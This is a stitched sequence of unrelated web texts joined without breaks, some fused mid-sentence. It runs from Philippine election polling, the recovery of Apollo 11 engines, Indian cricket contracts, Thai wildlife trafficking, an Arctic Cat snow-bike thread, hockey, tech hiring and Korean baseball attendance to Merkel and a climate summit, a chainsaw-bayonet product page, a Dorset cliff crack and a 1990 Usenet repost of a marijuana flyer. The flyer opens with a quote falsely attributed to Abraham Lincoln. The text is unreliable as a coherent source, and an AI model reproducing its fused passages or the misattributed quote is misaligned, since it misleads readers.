people vote Complying with the law is one thing, but affecting the political landscape is another. Those critical of surveys - usually poorly performing bets and their followers - accuse them of influencing the decision of the electorate in favor of a particular candidate. De La Salle University political science professor Richard Heydarian said this may be true, as there are people who engage in strategic voting - taking their cue from who is leading the opinion polls. "For instance, if you have a preferred candidate and you see that for the last six months he is always a laggard, the tendency is you will shift to your the other preference who you feel has a chance to win," Heydarian said. He added that there is also a possibility of a "contagion effect," where low-information voters join the bandwagon of voting for the leading candidate with the assumption that the person must have been doing something good to lead the surveys. "If you always lead in the surveys, the tendency is to get the attention of the media, because the media is curious why you're leading, who is this person? Secondly are the donors and patrons. If you're leading in surveys, that means your viability is high, so the tendency is to pull in more support from major corporations and political dynasties," Heydarian said. A professor from the University of the Philippines (UP) Diliman, on the other hand, thinks voters vote the way the do not because of survey results, but of something closer to home. "If you look at the results of surveys, voters are most affected by their class, where they came from," said Erwin Rafael, an instructor of sociology at the UP College of Social Science and Philosophy. Rafael said that it's highly unlikely for survey firms to manipulate the conduct of their research. "The two main agencies, Pulse Asia and SWS, they have professional scientists in charge so it's hard to say that they manipulate the results," he said. Heydarian agreed, saying the only way survey research can be manipulated is if the major public opinion firms collude and tamper with the results. He doesn't think it's possible, though. "I think it's not sensible for polling stations because these survey institutions don't just operate during elections. These are long-term businesses and they also conduct surveys on other issues like consumer issues or specific policy issues. So since it's not just elections, I think it would be foolish for these companies to just let specific candidates manipulate or buy them. I think polling stations are credible," he said. But despite these reasons, some netizens are still insistent that surveys are nothing but a sham, accusing poll agencies and even the media of taking in bribes to orchestrate a grand plan to demolish certain candidates. In philstar.com's Facebook page, for example, a video explaining how surveys are conducted was met with criticisms by readers who do not understand how representative sampling works. This is despite having two experts explain it in simple terms. "Unfortunately, that's our problem, because most people do not have statistical education," Heydarian said, adding that it is the job of the media and experts to explain certain statistical concepts to people. Limited perspectives Rafael said that the vehement disagreement from certain people with survey results is coming from a narrow view of what reality is. In social media, where people's connections are most likely friends with similar beliefs, there is a tendency to think that the shared opinions are representative of the entire country's sentiment. "The survey does not match with what you want because you see it in a limited perspective... unlike randomly selected surveys with a national scope," he said. National surveys select respondents from Luzon, Visayas, Mindanao and the National Capital Region; and it also includes people from socioeconomic classes A, B, C, D and E. In contrast, people who share opinions on social media only come from class ABC and in urban areas, Rafael said. Pulse Asia's Holmes said that while they can report on the result of surveys, it is still up to the media to interpret it. "We cannot help it if commentators editorialize. While the organization (Pulse Asia) uses a more academic nomenclature in talking about surveys and results, media is free to report in any manner they see fit," he said. Heydarian said that while it is the job of polling stations to explain survey results, it is also the job of the media - through articles, podcasts and videos - to explain technical terms in a simpler language. "I think ultimately, it goes down to public intellectuals and the media, statistically savvy journalists to explain properly to the public," he said. Rafael said that overall, surveys are important because they give the people an idea who is the preferred candidate among socioeconomic classes, geographies and age groups. Moreover, because results are publicized, they level the playing field among candidates in terms of democratizing information across contenders. Despite angry followers and candidates being a constant, Rafael still thinks surveys are important in preventing massive electoral fraud. It would be difficult for a candidate with a low survey rating to explain an election victory. "It has that aspect, that it guards the votes from being instantly manipulated," he said. Mr. Rafael wishes to inform the readers that his opinions do not necessarily reflect that of the Department of Sociology, College of Social Sciences and Philosophy, University of the Philippines DilimanAll intellectual systems rely on assumptions that
Nearly 43 years after they thrust the Apollo 11 astronauts moonwards through a blue Florida sky, the mighty engines that helped deliver man to the Sea of Tranquillity have been found in the depths of the Atlantic Ocean. The five engines, last seen driving the Saturn V rocket free of the Earth on 16 July 1969, were found in a search led by the Amazon chief executive and space enthusiast Jeff Bezos, who hopes to recover at least one. The engines took 2½ minutes to hurl the rocket 40 miles into the heavens before falling into the ocean. Four days later, Neil Armstrong and Buzz Aldrin became the first men to walk on the moon. Bezos – who credits the Apollo 11 mission with fuelling his passion for science, engineering and exploration – embarked on the salvage mission a year ago after deciding it might be possible "with the right team of undersea pros". "I'm excited to report that, using state-of-the-art deep sea sonar, the team has found the Apollo 11 engines lying 14,000 feet below the surface, and we're making plans to attempt to raise one or more of them from the ocean floor," Bezos wrote in a breathless blog post on Wednesday. "We don't know yet what condition these engines might be in — they hit the ocean at high velocity and have been in salt water for more than 40 years. On the other hand, they're made of tough stuff, so we'll see." He gave no details about where the engines had been found, or how they had been identified. But Bezos did make it clear that he was not claiming ownership of the F-1s and said he hoped they would one day be displayed for the public. "Though they've been on the ocean floor for a long time, the engines remain the property of Nasa," he said. "If we are able to recover one of these F-1 engines that started mankind on its first journey to another heavenly body, I imagine that Nasa would decide to make it available to the Smithsonian for all to see. If we're able to raise more than one engine, I've asked Nasa if they would consider making it available to the excellent Museum of Flight here in Seattle." The Amazon founder said the salvage operation was a wholly private affair: "No public funding will be used to attempt to raise the engines." Nasa said it hadn't been formally contacted by Bezos and was waiting for more details. A spokesman said: "There has always been great interest in artefacts from the early days of space exploration and his announcement only adds to the enthusiasm of those interested in Nasa's history." The sea floor is littered with spent rockets and debris from missions dating back to the dawn of the space age. In 1999, a private company salvaged Gus Grissom's Mercury capsule, which accidentally sank in the Atlantic after splashdown in 1961. It was restored and displayed at the Kansas Cosmosphere and Space Centre. Robert "Bob" Biggs, a development engineer who spent almost a decade working on the F-1, reflected on the engine's sheer power during a Nasa lecture six years ago. "It took the Apollo launch vehicle, which was 363 feet (110m) tall and weighed six million pounds, and threw it downrange 50 miles, threw it up to 40 miles of altitude, at Mach 7," he said. "It took 2½ minutes to do that and burned 4½ million pounds of propellant – a pretty sizeable task." Bezos, who founded his own spaceflight company, Blue Origin, "to enable human access to space at dramatically lower cost and increased reliability", described the F-1 rocket engine as an enduring technological marvel. "The F-1 rocket engine is still a modern wonder – 1½ million pounds of thrust, 32 million horsepower, and burning 6,000 pounds of rocket grade kerosene and liquid oxygen every second," he wrote on his blog. "Those five F-1s burned for just a few minutes, and then plunged back to Earth into the Atlantic Ocean, just as Nasa planned. A few days later, Neil Armstrong stepped onto the moon." The Apollo programme, he went on, had exercised a profound influence over his life. "Nasa is one of the few institutions I know that can inspire five-year-olds," he said. "It sure inspired me, and with this endeavour, maybe we can inspire a few more youth to invent and explore." Boy's toys Jeff Bezos is not the first extraordinarily rich individual to harbour a penchant for extreme engineering and exploration. Howard Hughes pushed the aeronautical envelope in the 1930s and 1940s by designing and flying experimental aircraft, including the Hughes H-4 Hercules – better known as the Spruce Goose – which was the largest flying boat ever built. James Cameron, the director of Titanic and The Abyss, is another member of the very rich adventurers' club. Last week, Cameron became the first person to perform a solo voyage to the oceans' deepest point– the floor of the seven-mile deep Mariana Trench. Emerging from his 12-tonne, lime green submarine, Deepsea Challenger, the film-maker described the trench as "a very desolate place… My feeling was one of complete isolation from all of humanity". Sir Richard Branson – no stranger to perilous endeavours – has also been building his own one-man sub to explore the ocean depths later this year. His Virgin Oceanic deep-diving programme was to have started with a descent to the bottom of the Mariana Trench, but Branson will now pilot his submersible to the Puerto Rico Trench, the deepest point of the Atlantic Ocean.BCCI's retainer list for 2013-14 Grade A (Rs 1 crore/USD 158,000 approx): Sachin Tendulkar, MS Dhoni, Virat Kohli, R Ashwin, Suresh Raina (Rs 1 crore/USD 158,000 approx): Sachin Tendulkar, MS Dhoni, Virat Kohli, R Ashwin, Suresh Raina Grade B (Rs 50 lakh/USD 79,000 approx): Gautam Gambhir, Yuvraj Singh, Pragyan Ojha, Ishant Sharma, M Vijay, Shikhar Dhawan, Umesh Yadav, Cheteshwar Pujara, Ravindra Jadeja, Bhuvneshwar Kumar, Rohit Sharma (Rs 50 lakh/USD 79,000 approx): Gautam Gambhir, Yuvraj Singh, Pragyan Ojha, Ishant Sharma, M Vijay, Shikhar Dhawan, Umesh Yadav, Cheteshwar Pujara, Ravindra Jadeja, Bhuvneshwar Kumar, Rohit Sharma Grade C (Rs 25 lakh/USD 40,000 approx): Dinesh Karthik, Amit Mishra, Wriddhiman Saha, Ajinkya Rahane, Ambati Rayudu, Vinay Kumar, Mohammed Shami, Jaydev Unadkat, Mohit Sharma Zaheer Khan, Virender Sehwag and Harbhajan Singh find themselves out of a central contract for the 2013-14 season, while Gautam Gambhir and Yuvraj Singh find themselves downgraded in the BCCI's retainer list, released on Thursday. Suresh Raina is the surprise inclusion among the five players in the highest grade; the others are captain MS Dhoni, Sachin Tendulkar, R Ashwin and Virat Kohli. The list also features five players who were not rewarded with a contract last year. They are Bhuvneshwar Kumar (Grade B), Mohammed Shami, Ambati Rayudu, Jaydev Unadkat and Mohit Sharma (all in Group C). Zaheer, Harbhajan and Sehwag: out of a central contract © Getty Images While Zaheer and Sehwag featured in Grade A last year, Harbhajan was included in Grade B. ESPNcricinfo understands that they were axed because none of them is assured of a place in the team in any of the three formats. Their exclusion need not, however, be the end of their career, because BCCI rules say that any non-contracted player who features in any international match during the contract period is awarded a Grade C contract for the rest of the tenure. Ravindra Jadeja, Shikhar Dhawan and M Vijay have been upgraded from Grade C to B for their "exceptional" performance in the last contract cycle, while Rahane's demotion on the reverse route was due to the fact that he has failed to make most of his limited opportunities. Tendulkar's mention in Grade A may have raised quite a few eyebrows since the veteran batsman is making his last international appearance during India's second Test against the West Indies. However, since the annual retainers are awarded on a pro-rata basis, Tendulkar would be eligible for two months' compensation since the beginning of the retainer cycle in October. Rahul Dravid and VVS Laxman were also named in the top category and were paid proportionately during the 2011-12 cycle. The list has been pruned from 37 last season to 25, the BCCI's rationale apparently being that many players had started taking an annual retainer for granted. "The list was extended last year in order to give fringe players the confidence. But now the Board feels only those who are in line of an India call-up should be awarded an annual retainer," a Board official said. The contracts, decided by a three-member committee of the BCCI comprising president (N Srinivasan), secretary (Sanjay Patel) and chairman of selectors (Sandeep Patil), run from October 1, 2013, to September 30, 2014. © ESPN Sports Media Ltd.Here’s a special guest post by Corvida. If you’re not already subscribed to her blog, you should be. Decreasing Connections While Increasing Our Networks While lounging on my couch this morning I decided to go through all 200 Twitter and FriendFeed requests that I’ve procrastinated on getting to this week. Lately I’ve been feeling so overwhelmed with requests that I’ve created a filter in Gmail to label and archive these requests. When I clicked on the label and took a cursory glance at my inbox, I wondered why I’d been feeling so overwhelmed with going through these requests. After about 10 minutes it hit me: as my network grows social networks don’t allow me to connect to my followers the way I used to. It Was All A Dream Let me take you back for a second. When I first began to gain notoriety, I only had a handful of Twitter followers. Definitely no more than 400. At that time I would tweet good morning and get several responses back. I would reply to each response and hold about 4 conversations at once on Twitter. This was the reason why I tweeted so much. It was much easier to hold a conversation and keep up with individual people. I knew who the majority of my followers were, thereby enabling me to utilize Twitter to its maximum potential. I was able to connect, refer, analyze, and reflect on what I was getting from my followers. Things just aren’t the same anymore. Back To Reality Now, I couldn’t tell you who half of my followers are. I really don’t know who I’m following and who I’m not following. I don’t even know why certain people are following me. In turn, my conversation on Twitter has deteriorated along with the amount of time I used to spend on Twitter. Maybe growth on some of these networks isn’t the best thing in the world. Should there be self-imposed limits on how many people you befriend? No because in the end, while your network growth may increase, your connection with your network still increases. However, the rate at which the connection can increase actually decreases. Did that make sense? Unless your friends are constantly questioning you or keeping tabs on you, it’s going to take a lot longer to make deeper connections the more your network grows. More Features or Better Tools? Though there are plenty of social networks to go around, I’m beginning to wonder if they incorporate the right tools to be able to keep up with our growing networks. We don’t have a clue on where to begin to make deeper connections as our networks continue to grow. In turn, things may just get out of hand. You start adding people just because they added you with no desire to establish a real relationship with anyone that you haven’t already befriended beforehand. Here are my questions for the developers and users of social networks: How do you maintain connections with your network of friends? What features or tools help you to maintain these connections? What features or tools are missing that you feel could help you to grow your connections even more? What do you think? Corvida writes at SheGeeks.netOfficers catch men chopping up wild animals in Thai slaughterhouse after following shopper with blood on his hands It isn't every day that a man with bloody hands emerges from a convenience store and returns home to continue chopping up tigers, zebras and wild buffalo in an underground slaughterhouse. So Thai police officers on a routine street patrol in north-east Bangkok had a lucky break when, by chance, they crossed paths with a member of a wild animal meat gang who had nipped out to buy some butchering supplies. On following the man, Thai police discovered four other men chopping up a large male tiger. Zebra, crocodile, wild buffalo and elephant carcasses, along with 400kg of tiger meat, were also found in the building, ready to be sold as exotic meat and trophies. "We found one tiger in an ice box, where it was being preserved with formaldehyde, and a lot of bones. On the floor, there were fresh cuts of white tiger, elephant and lion skins," the Thai nature crime police commander, Colonel Norasak Hemnithi, said. "The suspects later told us that they had gone out looking for ice to store the fresh meats." Police have since arrested eight people, including the alleged mastermind, in what they and local wildlife organisations believe is a smuggling operation fronted by Bangkok zoos. The case has shed light on Thailand's place at the heart of an estimated $10bn global trade in endangered species that is driving many plants and animals to extinction, according to wildlife groups. It highlights a worrying trend in which the meat of endangered animals is sold in resort restaurants in southern Thailand. Demand for trophy items and exotic meats across Asia, but particularly in China, has driven up the trade in elephants, big cats, reptiles and birds. The anti-wildlife trafficking group Freeland, which is working with police on the investigation, suspects the animals came from, or were sold through, private zoos in Thailand. "It's hard for police to go after zoos because there's a legal loophole [here] that can easily be used to front a breeding operation. Zoos have a permit to own tigers, so they can breed the tigers and sell the offspring," said a Freeland spokesman, Roy Schlieben, adding that an adult tiger could fetch more than $10,000. Raids in Thailand, which heads the 10-country Asean Wildlife Enforcement Network in south-east Asia, have risen nearly tenfold in five years, Freeland said. The director general of the Thai wildlife agency said last month that poachers had slaughtered two wild elephants for their meat in a national park. Damrong Phidet told the Associated Press that trunks and sexual organs had been ordered by restaurants in Phuket. Some of the meat was to be consumed without cooking, like "elephant sashimi", he said. But critics claim police are only touching the tip of the iceberg. "A lot of catches are lucky catches," Edwin Wiek, of Wildlife Friends Foundation Thailand, said. "In Saturday's case, the criminal was only caught because he went to 7-Eleven and had blood on his hands. These criminals are making a lot of money and have nothing to fear – the penalties are very low and hardly any jail sentences are given to these people." The men arrested this month could face four years in prison and fines of 40,000 baht (£820) for illegally processing wild and protected animals, but Wiek and Schlieben said prison terms were unlikely and called for harsher penalties. Tiger skins are often sold as trophy items to wealthy buyers in China, Thailand and Vietnam, with animal parts such as tiger bones being used in traditional Chinese medicine, Schlieben said, adding: "Then you've got mounted tigers, considered status symbols, and wild meat being consumed because it's'more healthy' than domesticated animals." Despite the increased number of wildlife criminal arrests in the past few years, Thai police have admitted they are still far from cracking the organised smuggling of animals through Thailand and abroad. "We see about 100 [wildlife] cases per year," Norasak said. "We're [usually] able to catch the criminal but not the [mastermind] behind him. But we work consistently to investigate further and process cases." The raid was the latest in a string of high-profile cases. A United Arab Emirates citizen was arrested at Suvarnabhumi airport, Bangkok, last May. He had live infant leopards, panthers, monkeys and an Asiatic black bear stuffed in his luggage.As to when Arctic Cat will deliver more information about the new single-ski snowmobile, I can only guess. Let's hope it's soon, because this machine is dang exciting! The abundance of single-ski snowmobiles in various booths at Hay Days and the fact that Polaris purchased Timbersled this past spring suggests that this new market has the potential to rapidly expand. -There appears to be a cover over the rails, or perhaps just a single rail within the track. -It's a totally unique rear suspension, with what appears to be a single shock that's mounted outside of the rail(s), rather than in the traditional location between the rails. I asked people from Arctic Cat if the 450 4-stroke engine is made by Yamaha. Arctic Cat isn't saying who is building the engine. We will have to wait and see. "It's Arctic Cat's goal to provide a new riding experience to a category of snow lovers that want the lightest, most affordable vehicle for mountain riding. "Together with Camso, we have been working over the past three years on a suspension system. "Arctic Cat has been very forward with our company vision to deliver 'The Ultimate Off-Road Riding Experience'. Keeping true to our commitment, a new snow vehicle was unveiled at Hay Days, providing a glimpse into the future. It was just a tease, with VERY limited information and a VERY short cameo. The single ski machine appeared for about 1 minute atop the tailgate of the Arctic Cat truck before disappearing and remaining under wraps. In what was probably the biggest surprise of the event (and truly a sneak peek), Arctic Cat briefly unveiled a single-ski type snow vehicle at Hay Days this weekend. Comments (22): Jc says: 9/14/2015 9:38:00 PM Can you say snow check. Glenn Edwards says: 9/14/2015 10:16:00 PM I'm 99% sure the bike is a Sherco 450. Google 2015 or 2016 Sherco 450 and compare the frame, plastic, tank and engine. Current Sherco 2 stroke owner just happened to notice it! Alex says: 9/15/2015 7:37:00 AM I need that... haha There was an arctic cat patient awhile back for a skinny dual rail setup that looks alot like this skid setup that in the details talked about a flexiable edged track.. It looks like we know where thats being utilized. It's going to be a game changer for sure with a purpose built snow bike right from the factory. pluedy says: 9/15/2015 12:20:00 PM Time for Tucker to start a new streak at X Games? Todd says: 9/15/2015 12:42:00 PM all I can say is its NOT a current yz 450 motor looks nothing like it Bob says: 9/15/2015 7:29:00 PM Good!!!! Now Tucker will have something else to kick everybody else's ass on!!! GO TEAM ARCTIC!!!!!! Shannon W says: 9/15/2015 9:03:00 PM I'm glad to see CAT jump out in front of the sled manufactures with this. I will bet in the next couple years there will be a Snow bike class on the ISOC series. Paul says: 9/16/2015 8:46:00 AM Engineering dollars that was spent on this should have been used on snowmobiles and atv products. Can you say Chrysler sno runner or Yamaha sno scoot, AD Boivin snow hawk. Now had they had a new 800 ctec engine to show that would spur sales, not some old idea. I Bleed Green! says: 9/16/2015 9:03:00 AM Paul, While I agree with you, there is no denying the fact that these snow-bikes are becoming really popular especially out west. We will see if it is just a fad or a wave of the future. ScottyR says: 9/16/2015 12:24:00 PM I am 100% positive that it is a Sherco SE-F 450 Factory Edition being used as the chassis/engine. Arcticbuster says: 9/17/2015 8:01:00 AM I would say that it has one rail in the rear suspension as it looks to have only one row of windows with clips in the track. slvrblt says: 9/17/2015 9:39:00 PM i can verify that this is indeed a Sherco 450, anyone around TRF has probably noticed a few of then ripping around the test track beside ac all summer... the 450 with fuel injection is a really strong motmore info can be found here on the bike itself..... http://www.sherco.com.au/450-sef-r the track is indeed a single center rail design cat has been playing with... there was 2 of these machines with Sherco decals on them last winter in northern mn and were late season testing in northwestern ontario as well, everyone was checking them out and were told they were just a add on kit on the bikes, these things will RIP trust me, expect to see them around xmas time 2015 to be released as 2017, unless the boys in poo ville down the road rush their stuff to market... with an outlaw derived motor in a aluminum frame.... time will tell PIERRE LACAT says: 9/20/2015 9:31:00 AM Nice of arctic to start making a snow bike but it's already been done and failed Chrysler snow runner and the snow hawk It has gone sideways! Polaris buying timber sled can't see that going very far either! I might be wrong I would have preferred to see arctic building something for the street as Polaris and BRP are crushing sales with spiders slingshots victories and Indians! Bobby Flame says: 9/20/2015 6:07:00 PM Will there be rumble packs available for these? Phil D says: 10/10/2015 10:51:00 AM You guys this is the way of the future. I have been riding in Maine on dirtbikes and most of the state is closed to dirt bikes.... So last year I bought a 2 moto kit for my 450 and the entire state was open.these snowbike will hang with the mountain boys no problem!!!!since then I have sold the sleds and now am building a second bike.don't nock it till after you ride it.PS. anyone in Maine want to check this out you won't be disappointed Darren Gissel says: 10/18/2015 2:32:00 PM I would like to see one of the manufactures come with a new revised Raider style sled with a removable top, One that is sporty, fast, and has good suspension. Tell me that wouldn't be fun. We don't all want to jump 100 feet through the air or climb to the summit. Doug E says: 12/5/2015 9:36:00 PM What if you bolted two of these together so it would be like a skid steer! Independent rear traction gary spinuzzi says: 2/19/2016 11:41:00 AM I have been ridding bikes for 55 years and I rode a timber sled on a yamaha bike last weekend and my prediction is this is the new toy of the future. I have 3 sleds and 5 bikes and have the kit on order. I found it to go to places a sled wont go, it was fast and agile and carved like a water ski. My hat off to Power Sports in Steamboat Springs Colorado for hosting half day rides and letting us put these bikes through their paces.. I would not replace my sleds but having a snow bike will let me go place a sled can't go. What a blast and I am still smiling a week later. Can't wait to get mine together. JIM REUL says: 2/23/2016 4:51:00 PM Now if they would just build that with a purpose built motor with a supercharger. Byron Thomas says: 3/4/2016 10:09:00 AM estimate base price? Filip says: 3/6/2016 7:35:00 AM I'm 100% sure that the engine and chassis products Aprilia, plastics and motor are identical with Aprilia modelo SVX450. MIKE L says: 11/1/2016 3:29:00 PM Sorry everyone in Minnesota, law says you have to buy an Arctic Cat. Can't convert. The definition of a snowmobile is a self-propelled vehicle originally manufactured and designed for travel on snow or ice steered by skis or runners. Snowmobile does not include the following vehicles equipped with aftermarket ski and track configurations: ATV, OHM, ORV, Mini Truck, “utility task vehicle” (per MN statute 169.011) and any other vehicle being operated off road.Flyers Flyers forwards Matt Read (left and Sean Couturier (middle) would be moved if NBC Sports hockey analyst was Flyers GM. (Lori M. Nichols \| South Jersey Times) DENVER — The must have had some bad Christmas eggnog because they once again transformed Dr. Henry Jekyll into the evil Edward Hyde. The momentum from those three road wins in four days before Christmas was killed with two post-holiday break losses in a row, which was more of what we saw a lot of in October and November. So what should we really make of these Flyers, who are 14-16-6 after to the Arizona Coyotes, a Western Conference weakling. a former Flyer who has scored 500 goals in a great playing career before becoming an NBC Sports hockey analyst. Roenick's take on the Flyers, who close out the 2014 calandar year with a New Year's Eve game Wednesday night in Colorado? "You've got a few things going on with that team," Roenick told NJ Advance Media in a phone interview on Monday. "The secondary scoring has been a problem for the Flyers for a little while and I think the goaltending has been "But to me when you have a team that goes into certain buildings like the Flyers did before the Christmas break beating Toronto, Minnesota and Winnipeg... to beat those teams on the road and then all of a sudden lose games you think you have a chance, this becomes effort and attention to detail to the system. They've shown that they can win under (head coach Craig) Berube. They've shown they can do it, but when they're not consistent, that's on the players." Roenick puts part of the blame for the Flyers' situation on Ron Hextall for pulling the trigger on his one big trade since becoming GM last May — "I'll tell you, losing a guy like Scott Hartnell was not good for the hockey team," Roenick said. "Umberger has come in and not done anything for this team. It's not been a good trade-off for the Flyers and Hartnell was one of those guys who will make people accountable. And then , not having him in that lineup and not having his veteran leadership has really hurt them." His solution is drastic. "I've thought that the Flyers were going to be in that trade market for some time now for a couple reasons — because of their secondary scoring and because of their defense," Roenick said. "We'll see what happens. I think you have a few of their forwards you can trade." Who would Roenick look to move? Three younger forwards who have star potential: Matt Read, Sean Couturier and Brayden Schenn. "You have three guys that will play really good hockey, and then you won't see them for awhile," he said. "And I like all three of them. It's just their consistency. They can't keep coming in and out of the scoresheet. You can't just do it for 10 games and then go away for 10 games, do it for five games and then go away for 15 games. That doesn't work for teams." Roenick isn't ready to give up on the Flyers just yet. He still likes their potential, likes their talent. But he doesn't always like what he sees from them in games. "It comes down to their attention to detail," he said. "It comes down to their preparation. It comes down to their focus. And it comes down to their ability to grind through the different things that happen — whether you're tired, whether you're hurt, whether you're sore, whether you don't like a building, whether you don't like the team that you're playing against. So there are a lot of things that go into how you prepare into games." If the Flyers become more consistent, Roenick sees them having a shot to sneak into the playoffs. "To me, it's 50-50, and I will tell you the first three weeks of January probably will tell you for sure they're not making it or they have a good shot of making it. These next three weeks after the Christmas break are crucial." Randy Miller may be reached at rmiller@njadvancemedia.com. Follow him on Twitter @RandyJMiller. Find NJ.com Philadelphia Sports on Facebook.Less than two months after leaving Microsoft, former executive Julie Larson-Green has found her next gig. Experience management company Qualtrics is bringing aboard Larson-Green to be its chief experience officer, a role she held at Microsoft in the past. She will leverage her wide range of experience gained during 25 years at Microsoft to oversee design as well as the “people side” of the business, helping customers build company culture that will attract and retain employees. “Culture has such a huge impact on the outcome of the product and the outcome of the business,” Larson-Green told GeekWire. “Putting that more front and center and not having as much of a silo as it’s been in the past is a really exciting opportunity.” Qualtrics’ software focuses on four key aspects: customers, employees, brands and products. Its most recognizable work comes in the form of feedback surveys for more than 9,000 companies, including several airlines and healthcare.gov. In addition to focusing on brand improvement and customer satisfaction, Qualtrics also has products geared toward employee performance and product trends. Bringing in Larson-Green further bolsters the company’s executive ranks in Seattle. Qualtrics is technically based in Provo, Utah, but considers Seattle its co-headquarters. Qualtrics employs 235 people in Seattle, and plans to add another 100 next year. That includes high level executives like John Thimsen, head of engineering, and Webb Stevens, head of product. Larson-Green held a number of senior leadership roles at Microsoft over the years, playing key roles in the development of Windows, Office, and the Surface tablet. She was most recently Microsoft’s Chief Experience Officer for the Office Experience Organization. She stepped back from that role for health reasons, and then ultimately decided to leave the company in September. Qualtrics was on Larson-Green’s radar long before she joined the company. Her husband, a professor at Seattle University and user of Qualtrics software, ran into Qualtrics CEO Ryan Smith at the Salt Lake City airport when returning from a ski trip. Smith was wearing a Qualtrics shirt and the two struck up a conversation. “You never know where swag will lead you,” Smith told GeekWire. About a year later Smith and his team came to Microsoft HQ for a startup event for the senior leadership team. The intersection of product, design and people piqued Larson-Green’s interest. She kept coming back to it when she was evaluating her future over the summer. Smith thinks Qualtrics’ emphasis on experience will become even more important in the future. Customer experience is already a top priority of many of the world’s biggest tech giants, as is building a company culture, and that is only going to continue. “If I think about the future, we are all experience companies, and a lot of times, all we’re going to be doing is competing on experiences,” Smith said. “Very few innovations I’m watching that are very disruptive are original thought. They’re just doing it with a better experience for the user.”So far this season, KBO league (10 teams in total) attendance has accumulated 7.96 million plus fans… with 4 games to be played tonight (6 days in total, 19 more games left for the regular season to end), league attendance will soon reach its anticipated 8 million mark, the first time ever in 34 years since the KBO league was founded, and played its first regular season game back in year 1982. With more games, along with new and bigger stadiums… league attendance has seen a 14 percent increase over last year’s attendance (which was 7.36 million). With the Samsung Lions (Daegu Samsung Lions Park, opened this early year) and the Nexen Heroes (Gocheok Sky Dome, opened this early year) playing on newer grounds, with bigger seating capacity compared to their previous respective stadiums… attendance by both teams has increased 63 percent and 58 percent respectively compared to last year. A total of 1.43 million people attended games in the 1982 regular season, the time the league first opened… 6.8 million fans attended games back in the 2011 regular season (first ever in league history to reach the 6 million mark), the KBO broke its own yearly attendance record again surpassing the 7 million mark (7,156,157) in 2012. Now… a new milestone will soon be accomplished tonight. Fan interest is at an all-time high, despite the Olympics and intense heat that struck the nation in the middle of the season. Other than increased attendance, teams local TV ratings has also seen its share of increase.Share this... Berlin-based leftist daily TAZ here reports that German Chancellor Angela Merkel isn’t going to bother attending the Ban Ki-Moon initiated climate conference in New York this coming September. The TAZ adds this has been “confirmed by a government spokesman“. Moon personally invited all world leaders, asking them to attend with “ambition and responsibility” in order to lay the groundwork for the Paris 2015 climate conference where world leaders are to sign onto a binding agreement requiring industrialized countries to drastically cut back CO2 emissions by 2050, and thus serving as the successor agreement to the 1997 Kyoto Protocol. The TAZ writes that even Presidents Barack Obama and Francois Hollande will be attending. Merkel’s decision to snub the event is likely another sign that efforts to forge a climate agreement are already dead in water. The TAZ writes: Ultimately only Europe and very few other countries remain on board. Canada for example has opted out. Japan and Russia are also no longer taking part.” Merkel “burying global climate agreement” According to the TAZ, Merkel will not be attending because of “scheduling reasons“, but added that Germany will be represented by “high-ranking” officials. Activists groups are howling in response to Merkel’s snub. Germany’s leading global warming hysterical blog klimaretter here accuses Merkel of “burying the global climate agreement”. Klimaretter adds that Brazil is expected to play a key role in facilitating an agreement but that the prospects of making progress look dim since negotiations suffered a huge setback in March: The representatives of 28 EU countries postponed to October the decision on their mutual climate targets for 2030. That means: The EU will decide their new climate targets first after the Ban-Ki-Moon conference [New York]. This is a hefty setback for climate diplomacy: Of course the Brazilians aren’t going to be putting any suitable climate targets on the table when they do not even know what the Europeans have in their pockets.”The Zombie X Chain Saw Bayonet (ZXCS), can be mounted on anything that was a Military Standard rail, (commonly called a Picatinny rail, or pic. rail, because this rail was developed at the Picatinny Arsenal in New Jersey.) This saw is custom crafted in the USA from parts from around the world. All of the aluminum parts, like the pistol grip, chassis and the rail clamp/rail interface, are machined here in the USA. The saw is also assembled and painted in the USA. This is a high quality well made chainsaw. The Clamp rail interface can be removed and the saw can then be used as an ultra light Chainsaw. Zombie X Chain Saw specifications: Weight: with battery and all mounting hardware…..5lbs 8oz. (2495g) Length: with rail adjusted to shortest configuration…21.5 “ (54.61cm) Length: with rail removed….19.0” (48.26cm) Width: 6.25” (15.88cm) Height: 8.0” (20.32cm) Best Uses For the Zombie X Chainsaw Bayonet “Killing” Zombies. ( Zombies are already dead so…?) Best display! Mount a ZXCS on your tricked out assault rifle and have a guaranteed crowd pleaser/ attention getter. It is great for trade shows, gun store displays, gun room display, or even over the fireplace mantle at the cabin! Drug Enforcement Agents can use it for marijuana eradication; and always be armed while cutting down the plants. Marijuana growers can use it to harvest their crop and always be armed while cutting down their plants. Off road motorcyclists, mountain bikers and hikers can keep the ZXCS in their hydrator pack and
to be a fresh break, but could be related to heavy winter rainfall in 2012-13. "It's clearly going to fall off - I just can't tell you when," he said. "It's quite concerning but it's part of the nature of this coastline." Dorset County Council said the crack in the edge of Watton Cliff was above the western part of Eype Beach and there was no threat to West Bay's esplanade. It said the coast path at the top of the cliff was far enough away not to be affected and it was installing temporary warning signs "Advice to coast users is, as always, for people to stay away from the edges and base of cliffs, to observe warning signs, whether temporary or permanent, to stay on official paths, and to be aware of their surroundings," a spokeswoman said. Mr Chalk said he posted the picture, taken with a telephoto lens, on social media to warn visitors ahead of the bank holiday weekend and had been "astounded" by how widely it had been shared. "It's going to be a major fall when it goes," he said. Mr Edmonds said the crack was at the top of the vertical cliff, but there was nothing apparent to anyone looking up from the beach below. A spokeswoman for the Maritime and Coastguard Agency said the coastguard was aware of the crack and would be monitoring the area.From housed@infmx.informix.com Tue Dec 18 22:02:54 1990 From: housed@infmx.informix.com (Darryl House) Newsgroups: alt.drugs Subject: flyer Date: 12 Dec 90 22:09:48 GMT Distribution: usa Organization: Informix Software, Inc. Originator: housed@alf [ Reprinted in the public interest without permission from a flyer by the Family Council on Drug Awareness. This flyer is being distributed at public functions such as concerts, school gatherings, trade shows, and craft shows. Any typographic errors, unless noted, are mine. The author of this post has no affiliation with any agency or persons related to this document, and refrains from editorial comment. ] 10 Things Every Parent, Teenager & Teacher Should Know About Marijuana "Prohibition...goes beyond the bounds of reason in that it attempts to control a man's appetite by legislation and makes a crime out of things that are not crimes. A prohibition law strikes a blow at the very principles upon which our government was founded." -- Abraham Lincoln December, 1840 This pamphlet was researched and produced as a public service by the Family Council on Drug Awareness P.O. Box 71093, LA CA 90071-0093 Additional copies available from: BACH, PO Box 71093, L.A., CA 90071-0093 35 cents apiece, Ten for $2.00, 100 for $10 1 Q. What is Marijuana? A. "Marijuana" refers to the dried leaves and flowers of the cannabis plant [1], which contain the non-narcotic chemical THC at various potencies. It is smoked or eaten to produce the feeling of being "high." The different strains of this herb produce different sensual effects, ranging from sedative to stimulant. 2 